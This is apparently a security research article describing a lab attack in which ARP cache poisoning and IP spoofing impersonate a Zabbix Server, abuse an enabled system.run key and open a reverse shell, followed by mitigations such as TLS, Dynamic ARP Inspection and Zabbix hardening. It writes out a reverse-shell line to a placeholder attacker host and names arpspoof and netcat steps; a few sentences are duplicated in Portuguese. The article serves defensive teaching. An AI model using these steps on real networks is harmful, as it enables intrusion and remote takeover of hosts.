By: Lucas Deodato

1. Introduction

This paper aims to explore the concepts and practical implications of combined ARP and IP spoofing attacks, using the Adversary in the middle (AiTM) technique, applying Zabbix—a widely used open source platform for network and system monitoring—as a case study.

The research addresses fundamental concepts about layers two and three of the OSI (Open Systems Interconnection) model, as well as relevant security issues. The study also includes a practical demonstration of how a malicious agent can spoof network packets using Scapy.

After that, it will be shown how some permissive configurations in Zabbix’s data collection mechanisms can be exploited to obtain a reverse shell on the target host, in order to demonstrate the potential impacts of this attack. Finally, mitigation strategies to reinforce security in internal environments are discussed.

Therefore, this work aims not only to highlight the threats, but also to reinforce the importance of adopting good security practices, especially in critical environments, where proper software configuration and the adoption of security policies and controls have an essential role in protecting against attacks.

2. Layer 2 Security

In many local area networks (LANs), there may be an intrinsic trust in connected devices, creating a false sense of security. This scenario becomes even more concerning given the trend toward BYOD (Bring Your Own Device) model (Alotaibi; Almagwashi, 2018) and the increase in the sophistication of cyber attacks (Najafi et. al., 2023), making the LAN a potential target for attackers or insiders (Liu et al., 2018), whom we’ll refer to as malicious agents.

Layer 2 of the OSI reference model, responsible for direct communication between devices on the same network segment, plays a key role in this context. A compromise at this layer can directly affect all upper layers, which emphasizes the importance of understanding and mitigating the risks associated with it, as well as those associated with the ARP protocol – one of the main Layer 2 protocols.

2.1 Defining ARP

The Address Resolution Protocol (ARP) is a Layer 2 communication protocol responsible for discovering which IP (Internet Protocol) address is associated with a given MAC (Media Access Control) address on a local network.

Without ARP, devices on the same network segment would not be able to discover the MAC addresses needed to deliver frames locally. It acts as a “bridge” between the network and data link layers.

In addition to resolving IPv4 addresses into MAC addresses, ARP is also responsible for maintaining a mapping table of IPv4 addresses to MAC addresses. This table is temporarily stored in RAM and is called the ARP table or ARP cache.

2.2 How ARP works

When a device wants to communicate with another device on the same network segment, it needs to identify the MAC address corresponding to the IPv4 address of the destination host. This process is carried out as follows:

1. First, the sending device will search its ARP table to see if the destination IPv4 address corresponds to a MAC address. If there is no match, it will send an ARP Request message to the entire subnet (broadcast), asking for the MAC address of the host that has the IPv4 address that the sender wants to communicate with.
2. All hosts on the subnet receive and process the ARP request, but only the host with the corresponding IPv4 address will, in theory, respond with an ARP Reply message, informing its MAC address.
3. When resolving an address for the first time, the sender’s MAC table is updated with the new entry, avoiding the need to repeat the discovery process in future communications, as long as the mapping remains valid.

2.3 ARP Security Implications

ARP is a stateless protocol and does not require authentication. As described in RFC 826, any host can send an unsolicited ARP request, known as a “gratuitous ARP,” in order to announce its MAC address. When a host transmits a gratuitous ARP, the other devices on the same subnet update their ARP tables with the information contained in the frame, associating the IPv4 address with the announced MAC, which demonstrates excessive trust in the sender of the gratuitous ARP.

The problem with this behavior is that any host on the subnet can forge a gratuitous ARP, claiming to be the owner of any combination of IP and MAC addresses of its choice. This scenario favors ARP Spoofing attacks, allowing a malicious agent to intercept, redirect, or manipulate traffic between devices on the network.

3. Spoofing Attacks: Falsification at Layers 2 and 3

In general, spoofing, or falsification, is a technique in which an adversary manipulates identification information to impersonate a legitimate source. This practice can be used to intercept communications, exfiltrate data, and perform various other malicious activities. Spoofing can be applied in various communication contexts and can expose critical vulnerabilities in protocols such as ARP and IP.

3.1 ARP Spoofing

ARP Spoofing or ARP Cache Poisoning allows an attacker to intercept communication between two or more devices on the local subnet. The adversary can act passively, waiting for an ARP Request to poison the ARP table of the requesting device, as described in the standard operation above. In this case, their response must be faster than that of the legitimate IP owner.

Another more common technique involves sending multiple unsolicited (free) ARP Replies to devices on the LAN, maliciously announcing ownership of a specific IP address. This causes devices on the LAN to update their ARP tables, associating the attacker’s MAC address with the IP address they do not own.

This attack can be used to capture data packets, perform session hijacking, and even establish an Adversary-in-the-Middle (AiTM, Mitre Att&ck technique T1557), allowing active manipulation of intercepted traffic.

3.2 IP Spoofing

The Internet Protocol (IP) operates at layer 3 and is primarily responsible for forwarding information over the Internet. It assigns each host a unique IP address for logical identification on the network. However, just as malicious actors can spoof ARP messages or even MAC addresses, it’s also possible to manipulate and spoof IP addresses.

The upper layers use the source IP address of a received packet to identify the sender. To establish communication with that sender, the receiving device simply sends a response to the source address contained in the packet.
However, the IP doesn’t have native mechanisms to validate whether the source address in the packet really matches the legit sender (RFC 6864).

This lack of verification can facilitate the practice of IP spoofing, in which an attacker falsifies the source IP address to impersonate another entity and deceive the recipient into believing that the packet came from a trusted source. Both layer 3 and layer 2 spoofing can be used in denial-of-service (DoS) attacks and AiTM attacks (Whalen, 2001; Liu et al., 2018).

As camadas superiores utilizam o endereço IP de origem de um pacote recebido para identificar o remetente. Para estabelecer comunicação com esse remetente, o dispositivo receptor simplesmente envia uma resposta para o endereço de origem contido no pacote.

3.3 Attack Techniques

Through ARP Spoofing, it may be possible to collect and/or retransmit data, especially data sent by insecure and unencrypted protocols. In the context of environments monitored by Zabbix, which uses agents to collect information from hosts and send it to the server, an attacker can intercept and redirect the information sent between the Agents and the Zabbix server to themselves.

As we’ll see, IP Spoofing attacks can also be used in this scenario, mainly to fake requests from the Zabbix Server to the Zabbix Agent and get around certain IP address-based restrictions.

4. Exploitation Scenario

To illustrate how the security implications presented can be exploited by malicious agents, a scenario was developed in the laboratory that simulates a LAN, consisting of several hosts monitored by a Zabbix Server and its Agents.

In this environment, IP and ARP Spoofing techniques will be applied together to take advantage of a Zabbix Agent with substantially permissive settings, aiming to maximize the impact of the attack. In addition to intercepting and retransmitting traffic, the combination of these techniques allows the origin of packets to be forged and the native headers that Zabbix Server uses to communicate with Agents to be manipulated.

Therefore, it’s important to note that, although Zabbix was used as the object of study in this scenario, the exploit could be applied to any other misconfigured software in different contexts. The focus is on highlighting how inappropriate configurations can open significant gaps for attacks.

4.1 Laboratory Environment

The laboratory environment for this study uses VirtualBox as a hypervisor in version 6.1.50 to create three virtual machines (VMs), which are:

• VM 1 (192.168.0.230): Host responsible for the Zabbix Server service (version 6.0.23), running the Debian 11 operating system. Zabbix Server is the central component of the Zabbix architecture, responsible for processing data received from Agents.
• VM 2 (192.168.0.240): Host targeted for monitoring, using the Debian 12.04 operating system. This VM has the Zabbix Agent service installed, whose function is to collect various data from the monitored entities and send it to the Zabbix Server. The Agent operates in passive mode by default, listening for requests on TCP port 10050.
• VM 3 (192.168.0.250): Virtual machine with the Kali Linux operating system, used to perform IP and ARP Spoofing techniques, with the aim of exploiting Zabbix components.

Kali Linux was chosen for its practicality, as it natively offers all the tools necessary to carry out attacks in this context. On the other hand, Debian was selected due to its widespread consolidation in the market as a robust and reliable distribution, offering long-term support (LTS) and compatibility with a wide variety of software, such as Zabbix itself.

Image 1: Diagram illustrating communication during the attack

4.2 Beginning the Exploration: Testing Access Restrictions

In order for the Zabbix Agent to respond to requests from the Zabbix Server, the Server’s IP address must be added to the “Server” field of the Agent’s configuration file.

This way, when any host that is not on this IP permission list attempts to request data from the Zabbix Agent, the error will be returned as shown in Section 2:

In Section 2, the zabbix_get command line utility is used on the VM with Kali Linux to query the current CPU load of the monitored server (192.168.0.240) using the system.cpu.load key.

Zabbix_get is a native Zabbix tool and can be installed separately on any operating system compatible with the monitoring software. It allows you to test whether Agents are responding correctly to server requests and providing the desired metrics.

Since the IP address of the Kali Linux host is not allowed in the Agent configuration, communication is denied, as shown in Section 2. On the other hand, a request originating from the Zabbix Server—which is allowed in the configuration, as shown in Section 1—would be processed successfully, as shown in Section 3:

However, relying on a device based solely on its IP address can expose the infrastructure to security risks, as will be demonstrated in the following sections.

4.3 Falsifying the Zabbix Server IP address

It’s possible to bypass Zabbix Agent communication restrictions through IP Spoofing, exploiting the trust based solely on the IP address configured in the Agent.

The technique consists of forging fake packets containing the Zabbix Server IP as the source and sending them from the asset 192.168.0.250 (malicious agent machine, Kali Linux system). The destination will be the device with Zabbix Agent (192.168.0.240), which will respond with the requested data.

The first step is to create the initial part of the packet and verify that the Agent recognizes the communication as legitimate:

The Scapy library allows the sending, capture, manipulation, and analysis of packets, in addition to features such as sniffing and scanning. In the code presented in Section 4, the slash character “/” concatenates different network layers in the datagram. The last line uses the sr1() method to send the SYN packet and store the SYN-ACK response in the synack variable.

The Wireshark tool will be used to monitor the sending of packets generated by the script, as well as the responses from the Zabbix Agent, as shown in the image below:

Image 2: Capture and visualization of network traffic generated by the Python script.

The capture in Wireshark shows the following behavior:

1. The forged packet is recognized by the Zabbix Agent as originating from the legitimate server.
2. The Zabbix Agent responds with a SYN-ACK.
3. The legitimate Zabbix Server receives the unexpected SYN-ACK and responds with an RST packet, ending the communication, still without success in the attack.

This behavior occurs because, upon receiving the forged packet, Zabbix Agent responds directly to the source IP contained in the header (192.168.0.230 – real Zabbix Server). However, since the legitimate server never initiated this communication, it discards the connection by sending an RST packet.

To circumvent this limitation, it’s necessary to redirect traffic from the Zabbix Agent to the attacking machine, ensuring that responses are delivered correctly. This can be done using techniques such as ARP Spoofing or routing manipulation, allowing the communication to be intercepted.

4.4 Redirecting traffic: ARP Cache Poisoning

To redirect Zabbix Agent traffic destined for the Zabbix Server to the attacker’s machine, the ARP Spoofing technique will be used, with the arpspoof tool, which is part of the dsniff package tool suite.

The command in Section 5 causes the target (192.168.0.240 – Zabbix Agent) to believe that the IP address 192.168.0.230 (Zabbix Server) belongs to the eth0 network interface of the attacker’s machine:

This happens because the command sends Gratuitous ARPs to the target (192.168.0.240), manipulating its ARP table so that it associates the Zabbix Server IP with the attacker’s MAC. Thus, any traffic destined for the legitimate server will be redirected to the attacking machine, since they are on the same network segment (LAN).

In its original state, the target’s ARP table displays the correct association between the Zabbix Server IP (192.168.0.230) and its respective MAC address, as shown in Image 3.

Image 3: ARP table of the target Zabbix Agent..

In the attacker’s ARP table (Kali Linux), the IP 192.168.0.230 also points to the real MAC of the Zabbix server, as shown in Image 4.

Image 4: ARP table of the attacker’s host.

After executing the ARP Spoofing command, the ARP table of the Zabbix Agent is changed. Now, the MAC address associated with the IP of the Zabbix Server has been replaced by the MAC of the attacking machine, as shown in Image 5.

Image 5: ARP table of the target “poisoned” after ARP Spoofing.

As a result, any communication from the Zabbix Agent destined for the legitimate server will be intercepted by the attacker, allowing the capture and manipulation of packets. Soon after sending the fake packet, it can be noticed that the RST packets are no longer returned, as the traffic is being correctly redirected to the attacker.

Image 6: View of the traffic generated by the script after the ARP Spoofing attack.

In Image 6, you can see messages such as “[TCP Retransmission],” in which the Zabbix Agent continues to send SYN-ACK packets to the attacking machine, believing it is communicating with the legitimate server. As such, this scenario constitutes a combination of IP and ARP spoofing attacks.

The traffic shown in Image 6 indicates that the Agent is waiting for a return from the attacker’s device (ACK flag) to close the three-way handshake. Therefore, from this point on, it becomes possible to reconstruct the TCP handshake in the script shown in Section 6:

When running the complete script, the following traffic is generated on the network:

Image 7: Traffic capture in Wireshark showing communication between the attacker and the Zabbix Agent.

Looking at Image 7, you can see that the TCP session was rebuilt, allowing the Zabbix Agent to accept the fake packets. In this view, in the last line of the captured traffic—highlighted in red—an RST flag was sent by the script to immediately end the connection.

On the other hand, in line 4, the request was sent by the fake Zabbix server, and in line 6, the Zabbix Agent returned the response — both highlighted in blue. When analyzing these packets in detail, it is possible to observe, respectively, the payload of the forged request ( Image 8) and the payload of the Zabbix Agent response ( Image 9):

Image 8: Forged request from the attacker’s machine.

Image 9: The agent’s response to the forged request

The key used in the previous example checks the availability of the Agent service, returning the value 1 if it is operational. This confirms that the Zabbix Agent processes and responds to forged requests.

4.5 Obtaining a reverse shell through system.run

Zabbix has a key called system.run, which allows remote execution of commands on the monitored host. This feature increases the flexibility of Zabbix monitoring, allowing the execution of custom scripts and commands that are not available natively.

Although this option is not enabled by default, unfortunately it’s common to find it active in production environments, especially when there’s a need to collect specific information or automate tasks on the monitored asset(s). An example of this overly permissive configuration can be found in Section 7.

4.5.1 Exploiting the system.run functionality

System.run allows Zabbix Server to send commands to Zabbix Agent and receive the execution output. However, in poorly configured environments, this functionality can be used without restrictions, opening a vector for the execution of malicious commands.

With traffic still being redirected to the attacker’s machine (as in the attack described in section 4.4), the attacker can send the command shown in Section 8 to identify the current user:

The syntax follows the following format: system.run[<command>]. If the command returns the identity of the current user (in this case, the zabbix user), it means that the Zabbix Agent is configured to accept arbitrary commands.
To exploit this vulnerability, you need to modify the script used in Block 6 by replacing the value b“agent.ping” with the value b“system.run[id]” in the ZBX_DATA constant, ensuring that the request sent to the Agent contains the desired key.

After making this change and running the script, you can see (Image 10) in the response details that the Zabbix Agent responds correctly to the command sent:

Image 10: Response from the target Zabbix Agent to the system.run[id] command.

After verifying that the functionality is enabled, the next step is to start the process of obtaining a reverse shell.

4.5.2 Obtaining a reverse shell

To exploit this vulnerability and obtain a reverse shell on the target device, the attacker must first open a service in listener mode on the machine itself:

Image 11: Listener configured on port 4444.

The command in Image 11 uses the netcat tool to listen for connections on port 4444. Once the target host is compromised, it will connect to this port, granting the attacker remote control over the system. The command to establish the reverse shell can be sent to the Zabbix Agent as shown in Section 9:

The command in Section 9 performs the following operations:

1. Create a Bash script: The echo command generates a file called shell.sh, with a statement ‘#!/bin/bashnbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1’ to set the parameters for the reverse shell and subsequently connect to the service on port 4444 of the malicious agent.
2. Make the file executable: The chmod +x command assigns execution permission to the shell.sh file on the target machine.
3. Reverse shell execution: The /bin/bash /tmp/shell.sh command executes the script, causing the target machine to connect to the attacker and provide remote control via reverse shell.

Again, it’s necessary to insert the new command (Section 9) into the ZBX_DATA constant (Section 6). The line configuration is shown in Section 10:

After configuring the listener and making the change to the script, the output will be obtained as shown in Image 12:

Image 12: Reverse shell obtained on the target host via Zabbix Agent.

4.5.3 Consequences and Possible Post-Exploitation Moves

Once the attacker has established a reverse shell, they can perform various actions to extend their control over the system. Some of the most common tactics include:

• Privilege escalation: Exploiting local vulnerabilities to obtain root privileges (Privilege Escalation – TA0004 in Mitre Att&ck).
• Data exfiltration: Stealing sensitive information stored on the system (Exfiltration – TA0010 in Mitre Att&ck).
• Persistence: Deploying backdoors to maintain access to the compromised device (Persistence – TA0003 in Mitre Att&ck).

Although these techniques go beyond the scope of this study, it’s essential to understand how malicious agents can take advantage of misconfigured systems to carry out attacks and increase the damage caused.

5. Mitigation Measures

To reduce the risks associated with ARP Spoofing and IP Spoofing attacks, it’s essential to take a defensive approach and implement mechanisms that make it harder to exploit these vulnerabilities. Here are some effective measures to mitigate these attacks.

Encryption of Upper Layer Traffic

The adoption of encryption protocols, such as TLS (Transport Layer Security), provides an essential layer of protection against attacks based on address spoofing, such as IP spoofing and ARP spoofing. By ensuring the confidentiality and integrity of transmitted data, TLS prevents malicious agents from interpreting or altering information, even if they manage to intercept network traffic by manipulating IP or MAC addresses.

In the specific context of Zabbix, the main security measure recommended against this type of threat is precisely the enabling of TLS encryption in communication between the Zabbix Server and Zabbix Agents. With this configuration, all data exchange is protected from end to end, ensuring that only parties with the cryptographic key can request, access, or interpret the information.

Even in the face of a compromised network infrastructure, such as in spoofing attacks, the use of encryption makes the attack demonstrated in this lab ineffective.

Network Access Control (NAC)

In terms of monitoring, detection, and response, among all the suggested solutions, the most robust and recommended solution is to implement Network Access Control (NAC), which, as the name suggests, controls access to the network and can offer a suite of protective or mitigating mechanisms that will be presented below (Abdullah, 2023).

5.1 Protections against ARP Spoofing

ARP Filtering (Dynamic ARP Inspection – DAI)

Dynamic ARP Inspection (DAI) is a feature found in manageable switches that monitors ARP packets and blocks unauthorized updates to the ARP table. When enabled, it checks whether the MAC address and source IP address match a valid entry in the DHCP Snooping binding database. If not, the packet is discarded, preventing the injection of fake ARP records into the network.

The DAI configuration may vary depending on the manufacturer and model of the detection mechanisms. For reference, Cisco’s official documentation provides a detailed configuration example for Catalyst switches, as well as a more in-depth explanation of how DAI works.

Use of Static ARP Tables

Static ARP mappings can be especially useful in networks where hosts use fixed IP addresses and the DHCP snooping feature is not available, either due to environmental limitations or lack of support on infrastructure switches. In such cases, configuring static ARP entries for critical devices helps protect their addresses from ARP spoofing attacks.

This configuration can be applied directly to devices or switches that allow manual management of the ARP table. However, it may not be a viable option for large networks.

ARP Traffic Monitoring

The use of other specialized tools for monitoring ARP packets allows you to identify suspicious changes in the ARP table, helping to detect ARP spoofing attacks in real time.

• arpwatch – Monitors changes in IP-MAC mappings and generates alerts when new addresses are associated with a previously registered MAC;
• XArp – Enables advanced monitoring by analyzing traffic patterns and identifying fake ARP packets.
• arpwatch – Monitora mudanças nos mapeamentos IP-MAC e gera alertas quando novos endereços são associados a um MAC previamente registrado;

In addition to the measures mentioned above, the page that delves deeper into the technique in question by Mitre Att&ck suggests additional strategies to mitigate ARP Spoofing and Adversary-in-the-Middle attacks, including:

• Disable ARP cache updates in free ARP responses, reducing the possibility of ARP table poisoning;
• Encrypting sensitive information, especially in authentication protocols, and using TLS to protect web traffic from interception;
• Implementing intrusion detection and prevention solutions, such as IDS (Intrusion Detection System) and IPS (Intrusion Prevention System), to identify AiTM attack patterns and proactively respond to threats.

5.2 Protection against IP Spoofing

Inbound and Outbound Traffic Filtering

Although they have no effect on LANs, packet filtering systems, usually built into routers and firewalls, for traffic between networks, are essential for detecting inconsistencies between IP addresses and rules defined in access control lists (ACLs). In addition, these solutions allow fraudulent packets to be identified and blocked, preventing attacks based on identity spoofing.

Packet filtering can be implemented with edge firewalls, ACLs (Access Control Lists), and specific routing rules to validate source and destination addresses.

Authentication

Packet spoofing can be mitigated with the use of secure protocols that guarantee the authenticity and integrity of communications, such as IPSec (Internet Protocol Security).

In this scenario, to establish an IPSec connection, mutual authentication is required, ensuring that both parties prove their identity before initiating communication. This process prevents a malicious agent from simply spoofing an IP address and impersonating a legitimate device.

All subsequent communications are cryptographically protected, making it impossible to continue exchanging data without going through the authentication phase. Thus, an attacker can spoof an IP address, but will not be able to establish a valid connection without the correct credentials.

Network Segmentation

Implementing good network segmentation practices can limit the impact of IP spoofing attacks. Using VLANs to separate different parts of the network can prevent a malicious agent from spoofing an IP and gaining unrestricted access to all devices.

Traffic Monitoring and Analysis

Detecting suspicious traffic patterns can reveal IP spoofing attempts before they cause significant damage. In this context, IDS/IPS solutions can help identify and block anomalous packets with spoofed IP addresses.

5.3 Hardening in Zabbix

The official Zabbix documentation provides a guide to security best practices, available at 1 Security best practices. Adopting these recommendations significantly reduces the risk of exploitation. Some additional recommendations are:

Restrict IPs in Zabbix Agent

Configure the Server=<AUTHORIZED_IP> option in zabbix_agentd.conf to limit connections to the authorized server.

Disable unused features

If remote commands are not being used, there is no need to enable them in the configuration file. If it’s necessary to enable the remote commands feature, you must restrict not only which commands can be executed, but also the permission level of the Zabbix user on the system.

6. Conclusion

This study demonstrated how ARP and IP Spoofing can be exploited to compromise the security of local networks through AiTM, allowing traffic interception, communication redirection, and even unauthorized remote access to a host with Zabbix Agent.

Practical exploitation revealed the fragility of trust based solely on IP addresses, highlighting the importance of robust configurations to mitigate these attacks. In addition, it was demonstrated how a malicious agent can combine both techniques to bypass communication restrictions and execute arbitrary commands via system.run, resulting in obtaining a reverse shell.

Given this, the need for encryption to prevent the attack is evident, in addition to preventive measures such as inserting a NAC, protection against ARP Spoofing, filtering of fake packets, hardening of Zabbix and, in general, of the software that makes up the environment.

Finally, it’s important to note that corporate network security can’t just depend on superficial restrictions, but rather on a defense-in-depth approach and interdependent security controls (NIST, 2017).

6.1 Current challenges regarding ARP spoofing

With the advent of more complex architectures—such as hybrid networks, cloud environments, software-defined networks (SDN), and Zero Trust-based models—ARP spoofing tends to act as an auxiliary component in more sophisticated attack chains.

In addition, the growth in the use of IoT devices (Dachyar; Zagloel; Saragih, 2019) and the convergence between the areas of Information Technology (IT) and Operational Technology (OT) broaden the scope of ARP Spoofing’s impact, since many of these devices operate without robust protection mechanisms at the link layer.

Modern approaches can incorporate artificial intelligence and machine learning techniques to identify anomalous patterns in ARP traffic (Yang, Li, Zhang, and Wei, 2022; Almagwashi and Alotabi, 2022), thus adding an extra layer of defense and enabling automated and proactive responses, even in the face of sophisticated evasion techniques.

7. References

ALOTAIBI, B.; ALMAGWASHI, H. A Review of BYOD Security Challenges, Solutions and Policy Best Practices. In: 2018 1st International Conference on Computer Applications & Information Security (ICCAIS), Riyadh, Saudi Arabia, 2018. p. 1-6. DOI: 10.1109/CAIS.2018.8441967. Accessed on: Dec. 18, 2024.

LIU, L.; DE VEL, O.; HAN, Q.-L.; ZHANG, J.; XIANG, Y. Detecting and preventing cyber insider threats: a survey. IEEE Communications Surveys & Tutorials, v. 20, n. 2, p. 1397–1417, 2º trim. 2018. Accessed on: Dec. 23, 2024.

WHALEN, Sean. An introduction to ARP spoofing. Node99, n. 563, 2001. Available at: https://www.node99.org/papers/arp-spoofing.pdf. Accessed on: Jan. 10, 2025.

CHEN, Y. et al. Detecting and preventing IP-spoofed distributed DoS attacks. International Journal of Network Security, v. 7, n. 1, p. 69–80, 2008. Accessed on: Jan. 21, 2025.

NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY (NIST). SP 800-12 Revision 1: An introduction to computer security – The NIST handbook. Available at: https://csrc.nist.gov/pubs/sp/800/12/r1/final. Accessed on: Feb. 8, 2025.

MALLICK, Md Abu Imran; NATH, Rishab. Navigating the cyber security landscape: a comprehensive review of cyber-attacks, emerging trends, and recent developments. World Scientific News, v. 190, n. 1, p. 1–69, 29 jan. 2024. Available at: https://worldscientificnews.com/wp-content/uploads/2024/01/WSN-1901-2024-1-69-1.pdf. Accessed on: Apr. 10, 2025.

DACHYAR, M.; ZAGLOEL, Teuku Yuri M.; SARAGIH, L. Ranjaliba. Knowledge growth and development: internet of things (IoT) research, 2006–2018. Heliyon, [S. l.], v. 5, n. 8, p. e02264, 2019. Available at: https://www.cell.com/heliyon/fulltext/S2405-8440(19)32288-0. Accessed on: May. 15, 2025.

YANG, M.; LI, J.; ZHANG, W.; WEI, J. Research on Network Security Situation Prediction Based on Optimized Temporal Convolutional Network. In: 2022 14th International Conference on Machine Learning and Computing (ICMLC), Shenzhen, China, 2022. p. 488–493. DOI: 10.1109/ICMLC57125.2022.10037723. Accessed on: May. 16, 2025.

ALMAGWASHI, H. A. R.; ALOTAIBI, B. Towards an Insider Threat Detection Model for IoT-Based Smart Homes. In: 2022 6th International Conference on Computing and Communications (ICCC), Riyadh, Saudi Arabia, 2022. p. 1–5. DOI: 10.1109/ICCC57417.2022.9766351 Accessed on: May. 18, 2025.

ABDULLAH, A. M. I. A.; GALDE, M. (2023). ” Navigating Network Security: Analyzing ARP’s Role, Challenges, and Solutions in Ethernet and IEEE 802.11 Environments.